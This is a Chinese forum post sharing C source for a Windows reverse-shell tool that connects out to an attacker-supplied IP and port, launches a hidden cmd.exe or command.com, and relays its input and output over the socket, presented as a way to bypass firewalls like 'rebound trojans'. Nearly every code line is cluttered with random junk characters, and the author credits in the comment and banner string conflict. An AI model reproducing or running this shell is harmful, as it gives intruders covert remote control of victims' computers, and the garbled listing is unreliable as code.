社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3886阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j)O8&[y=  
C_hIPMU=  
/* ============================== DZ;2aH  
Rebound port in Windows NT (WS<6j[q  
By wind,2006/7 xm<sH!,j  
===============================*/ (pQ$<c  
#include ^m^,:]I0P  
#include '8Lc}-M4  
S>?B)  
#pragma comment(lib,"wsock32.lib") *WXqN!:  
yz=6 V%  
void OutputShell(); ]GHx<5Q:\  
SOCKET sClient; i0&] Ig|;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V P4ToYc  
i>rsq[l  
void main(int argc,char **argv) " []J[!}x  
{ L2y{\<JC"  
WSADATA stWsaData;  *FoPs  
int nRet; QnDLSMx)  
SOCKADDR_IN stSaiClient,stSaiServer; j: B,K.:  
E@;v|Xc  
if(argc != 3) 1^=[k  
{ : ]JsUb{YK  
printf("Useage:\n\rRebound DestIP DestPort\n"); \"@`Rf   
return; N6-bUM6%I  
} GEf[k OQ  
K,GX5c5  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;%aWA  
ol8uV{:"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _^0)T@  
s=|&NlO$  
stSaiClient.sin_family = AF_INET; T]J#>LBd  
stSaiClient.sin_port = htons(0); zzBqb\Ky  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'Xzi$}E D  
^-7{{/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nnO@$T  
{ g|l|)T.s  
printf("Bind Socket Failed!\n"); +^.Q%b0Xx  
return; ! J@pox-t  
} `<l|XPv  
,TxZ:f`"  
stSaiServer.sin_family = AF_INET; t]%! vXo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kOuQR$9s  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^l/$ 13=  
a'|Dm7'4t  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UwxrYouv~@  
{ 6Bm2_B  
printf("Connect Error!"); #3u471bp  
return; -x1O|q69  
} pV))g e\  
OutputShell(); 4.mbW  
} MtO p][i  
V/-~L]G  
void OutputShell() @'!61'}f  
{ M+TF0c  
char szBuff[1024]; !bCLi>8  
SECURITY_ATTRIBUTES stSecurityAttributes; &9'JHF!l  
OSVERSIONINFO stOsversionInfo; >(HUW^T/9z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +nslS:(  
STARTUPINFO stStartupInfo; I2=Kq{  
char *szShell; R OQIw  
PROCESS_INFORMATION stProcessInformation; #8d$%F))  
unsigned long lBytesRead; p{Gg,.f!HM  
wbId}!  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WH$ Ls('  
^5~[G%G4  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S.OGLLprp  
stSecurityAttributes.lpSecurityDescriptor = 0; jQ31u  
stSecurityAttributes.bInheritHandle = TRUE; $rC`)"t  
]g; K_>@  
DD hc^(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h@D4~(r  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9?W38EF  
ARu^hz=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;3_Q7;y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _?2xIo  
stStartupInfo.wShowWindow = SW_HIDE; GS3ydN<v  
stStartupInfo.hStdInput = hReadPipe; 2WOdTM{u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7iKbd  
XfT6,h7vFL  
GetVersionEx(&stOsversionInfo); L3~E*\cV  
.ODtduURe  
switch(stOsversionInfo.dwPlatformId) =;$&:Zjy/%  
{ }J$PO*Q@'  
case 1: QrPWS-3~!  
szShell = "command.com";  OkO"t  
break; fwQ%mU+  
default: \rf1#Em  
szShell = "cmd.exe"; t>v']a +k  
break; EH$wW l^  
} h OboM3_  
qwaw\vOA  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4p~:(U[q  
L4;n$=e  
send(sClient,szMsg,77,0); 2s6Hr;^w.1  
while(1) {_/6,22j(V  
{ Ck.GN<#-^P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I$wP`gQh  
if(lBytesRead) _bks*.9}3b  
{ Gf'V68,l$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  m|"MJP  
send(sClient,szBuff,lBytesRead,0); *qBMt[a  
} Qzh:*O  
else 95wV+ q*  
{ %r!  
lBytesRead=recv(sClient,szBuff,1024,0); T+4Musu{V  
if(lBytesRead<=0) break; >)pwmIn<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Gz@%UIv  
} \aUbBa%!  
} %NS]z;G  
+uwjZN'9a  
return; $ 9DZ5"  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八